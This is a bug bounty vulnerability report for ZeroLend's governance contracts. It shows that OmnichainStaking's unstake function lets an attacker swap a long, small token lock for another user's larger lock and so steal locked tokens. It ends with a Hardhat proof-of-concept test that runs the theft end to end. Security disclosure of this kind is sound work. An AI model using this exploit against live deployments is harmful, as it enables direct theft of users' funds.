29062 - [SC - Critical] Attacker can steal locked balance of staked nft...
Submitted on Mar 6th 2024 at 04:05:14 UTC by @MahdiKarimi for Boost | ZeroLend
Report ID: #29062
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/zerolend/governance
Impacts:
Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
The OmnichainStaking's unstake function allows anyone to unstake any token by just burning associated voting power, since voting power is based on locked balance and lock duration so two different NFTS with different locked balances can have the same amount of power which allows an attacker to exchange an NFT with some locked balance for an NFT with more locked balance and shorter lock duration. The attacker can mint a tokenLocker NFT by locking some tokens for a long duration, stake it at OmnichainStaking to receive voting power, and use minted voting power to Unstake another NFT ( staked by another user ) with more locked balance and shorter lock duration from OmnichainStaking.
Vulnerability Details
Users can utilize TokenLocker to create a lock by staking a certain amount of Zero tokens for a specified duration. TokenLocker then generates a unique NFT that represents the locked amount and the duration of the lock. Each NFT has a power value, calculated based on the locked amount and duration; more tokens and a longer lock duration contribute to a higher power. Users can stake these NFTs at OmnichainStaking contract and receive voting power proportional to the power of the TokenLocker NFT, OmnichainStaking has an unstakeToken function that allows anyone to unstake a token by burning the amount of voting power associated with that NFT. users can receive the same amount of voting power by locking different amounts of Zero tokens due to different durations, this creates a situation that enables attackers to lock some amount of tokens for a long duration to receive voting power and use that voting power to unstake a tokenLocker NFT with more locked balance and lower lock duration.
Consider the following scenario : 1 - Alice creates a lock with 40 Zero tokens for two years 2 - Alice transfers minted NFT to omnichainStakign to receive voting power 3 - Bob creates a lock with 20 Zero tokens for four years 4 - Alice and Bob would receive the same amount of voting power ( both NFTs have the same power) 5 - Bob Unstakes NFT of Alice from omniChainStaking ( he has enough voting power since both NFTs have minted the same voting power) 6 - Now Bob has an NFT representing 40 tokens locked for two years while he staked 20 tokens for 4 years. 7 - Now Alice is forced to Unstake Bob's NFT which has 20 locked balances and has been locked for 4 years, he lost 20 tokens .
Impact Details
Attackers can steal the locked balance of other users which is direct theft of funds. Also users can be forced to stake for a longer time.
References
https://github.com/zerolend/governance/blob/a30d8bb825306dfae1ec5a5a47658df57fd1189b/contracts/locker/BaseLocker.sol#L147 https://github.com/zerolend/governance/blob/a30d8bb825306dfae1ec5a5a47658df57fd1189b/contracts/locker/BaseLocker.sol#L112-L116 https://github.com/zerolend/governance/blob/a30d8bb825306dfae1ec5a5a47658df57fd1189b/contracts/locker/BaseLocker.sol#L362-L364 https://github.com/zerolend/governance/blob/a30d8bb825306dfae1ec5a5a47658df57fd1189b/contracts/locker/OmnichainStaking.sol#L68-L70 https://github.com/zerolend/governance/blob/a30d8bb825306dfae1ec5a5a47658df57fd1189b/contracts/locker/OmnichainStaking.sol#L76-L79
Proof of Concept
describe("attacker can drain staked amount of tokenLocker", () => {
it("attacker can drain staked amount of tokenLocker", async function () {
// impoerted whale address from goverancne deployment
// imported time from hardhat-network-helpers
// transferred 20 zero token to whale and 40 zero token to ant address during deployment
// removed vesting part from beforeEach
let fourYearInSeconds = 124416000;
let twoYearInSeconds = 62208000;
// attacker (whale) has 20 Zero tokens
let balanceOfAttackerBefore = await zero.balanceOf(whale);
expect(balanceOfAttackerBefore).eq(20n * e18);
// Victim (ant) creates a lock with 40 Zero tokens for duration of 2 years
// ant transferrs minted nft to OmnichainStaking and receives power
zero.connect(ant).approve(locker.target, 40n * e18);
await locker.connect(ant).createLock(40n * e18, twoYearInSeconds, false);
await locker.connect(ant)["safeTransferFrom(address,address,uint256)"](ant.address, omniStaking.target, 1);
// whale creates a lock with 20 Zero tokens but for duration of 4 years
// he transferrs minted nft to OmnichainStaking
// despite that he has locked half of ant address but due to more lock duration (2 times of ant) he would receive almost same amount of power
zero.connect(whale).approve(locker.target, 20n * e18);
await locker.connect(whale).createLock(20n * e18, fourYearInSeconds, false);
await locker.connect(whale)["safeTransferFrom(address,address,uint256)"](whale.address, omniStaking.target, 2);
// we can assert that whale has more power than ant
let balanceWhale = await omniStaking.balanceOf(whale.address);
let balanceAnt = await omniStaking.balanceOf(ant.address);
expect(balanceWhale).greaterThanOrEqual(balanceAnt);
// whale can unstake minted nft of ant from tokenLocker since he has enough power
// this nft has two times more lockedBalance
await omniStaking.connect(whale).unstakeToken(1);
// after 2 years he can withdraw this token from locker
// Now whale has 40 Zero token balance
// so ant address should use his voting power to other token with 20 Zero balance and 4 years of lock duration
await time.increase(twoYearInSeconds);
await locker.connect(whale).withdraw(1);
let balanceOfAttacker = await zero.balanceOf(whale);
expect(balanceOfAttacker).eq(40n * e18);
});
});
Last updated
Was this helpful?